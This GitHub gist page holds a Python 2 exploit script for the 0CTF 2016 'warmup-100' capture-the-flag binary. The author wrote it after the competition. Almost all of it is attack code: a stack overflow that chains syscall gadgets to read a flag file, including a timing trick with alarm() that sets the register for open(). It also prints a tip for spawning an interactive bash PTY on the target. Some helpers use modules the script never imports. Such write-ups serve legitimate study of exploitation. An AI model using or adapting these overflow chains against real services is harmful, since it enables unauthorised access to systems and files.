Skip to content

Instantly share code, notes, and snippets.

@hugsy
Created March 14, 2016 02:36
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hugsy/8e31ddc61dba7d4e7c1f to your computer and use it in GitHub Desktop.
Save hugsy/8e31ddc61dba7d4e7c1f to your computer and use it in GitHub Desktop.
#!/usr/bin/env python2
#
# Exploit for warmup-100 (0ctf)
# Done after the competition.
#
# @_hugsy_
#
import socket, struct, sys, telnetlib, binascii, time
HOST = "localhost"
PORT = 52608
def hexdump(src, length=0x10):
f=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) ; n=0 ; result=''
while src:
s,src = src[:length],src[length:]; hexa = ' '.join(["%02X"%ord(x) for x in s])
s = s.translate(f) ; result += "%04X %-*s %s\n" % (n, length*3, hexa, s); n+=length
return result
def xor(data, key): return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in zip(data, itertools.cycle(key)))
def h_s(i,signed=False): return struct.pack("<H", i) if not signed else struct.pack("<h", i)
def h_u(i,signed=False): return struct.unpack("<H", i)[0] if not signed else struct.unpack("<h", i)[0]
def i_s(i,signed=False): return struct.pack("<I", i) if not signed else struct.pack("<i", i)
def i_u(i,signed=False): return struct.unpack("<I", i)[0] if not signed else struct.unpack("<i", i)[0]
def q_s(i,signed=False): return struct.pack("<Q", i) if not signed else struct.pack("<q", i)
def q_u(i,signed=False): return struct.unpack("<Q", i)[0] if not signed else struct.unpack("<q", i)[0]
def _xlog(x):
sys.stderr.write(x + "\n")
sys.stderr.flush()
return
def err(msg): _xlog("[!] %s" % msg)
def ok(msg): _xlog("[+] %s" % msg)
def dbg(msg): _xlog("[*] %s" % msg)
def xd(msg): _xlog("[*] Hexdump:\n%s" % hexdump(msg))
def asm(code, arch="x86", bits=32):
r2 = "/usr/bin/rasm2"
cmd = "{} -a {} -b {}".format(r2, arch, bits).split(" ")
cmd+= [code, ]
try: rc = subprocess.check_output(cmd).strip()
except: return ""
return binascii.unhexlify(rc)
def grab_banner(s, end_banner="> "):
data = s.read_until(end_banner)
return data
def build_socket(host, port):
s = telnetlib.Telnet(HOST, PORT)
ok("Connected to %s:%d" % (host, port))
return s
def interact(s):
try:
ok("""Get a PTY with ' python -c "import pty;pty.spawn('/bin/bash')" '""")
s.interact()
except KeyboardInterrupt:
ok("Leaving")
except Exception as e:
err("Unexpected exception: %s" % e)
return
def pwn(s):
writable_addr = 0x80490f0
writable_addr2= 0x8049100
flag_path = "/tmp/flag" + "\x00"*10
ret_to_sub_esp_30 = 0x0804815A
ebx_ecx_edx_int80 = 0x0804813A
sys_read = 0x0804811D
sys_write = 0x08048135
sys_alarm = 0x804810d
sys_exit = 0x0804814D
# this block will write '/home/warmup/flag' to a location we know
ok("Writing '%s' at %#x" % (flag_path, writable_addr))
p = ""
p+= "A"*32
p+= i_s(sys_read)
p+= i_s(ret_to_sub_esp_30) # ret back to vuln function
p+= i_s(0) # fd
p+= i_s(writable_addr) # addr
p+= i_s(len(flag_path)) # len
s.write(p)
ok("Sent stub 1, waiting for 5 seconds")
s.read_until("Good Luck!\n")
s.write( flag_path )
# this is trick part to control eax:
# alarm is set to 10, so by waiting 5 seconds, the next call to sys_alarm will
# return 5 in eax
time.sleep(5)
ok("Building open syscall")
p = ""
p+= "A"*32
p+= i_s(sys_alarm)
p+= i_s(ebx_ecx_edx_int80)
p+= i_s(ret_to_sub_esp_30)
p+= i_s(writable_addr)
p+= i_s(7)
s.write(p)
ok("Sent stub 2")
s.read_until("Good Luck!\n")
# in my gdb-gef session, i had the opened fd set to 5
ok("Building sys_read call to %#x" % writable_addr2)
p = ""
p+= "A"*32
p+= i_s(sys_read)
p+= i_s(ret_to_sub_esp_30)
p+= i_s(5)
p+= i_s(writable_addr2)
p+= i_s(20)
s.write(p)
ok("Sent stub 3")
s.read_until("Good Luck!\n")
ok("Building sys_write call to %#x" % writable_addr2)
p = ""
p+= "A"*32
p+= i_s(sys_write)
p+= i_s(sys_exit)
p+= i_s(1)
p+= i_s(writable_addr2)
p+= i_s(3)
s.write(p)
ok("Sent stub 4")
s.read_until("Good Luck!\n")
print "res > ", s.read_all()
raw_input()
return True
if __name__ == "__main__":
s = build_socket(HOST, PORT)
raw_input("Press enter when gdb attached ")
banner = grab_banner(s, "Welcome to 0CTF 2016!\n")
if pwn(s):
ok("Got it, interacting (Ctrl-C to break)")
interact(s)
ret = 0
else:
err("Failed to exploit")
ret = 1
s.close()
exit(ret)
# auto-generated by gef
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment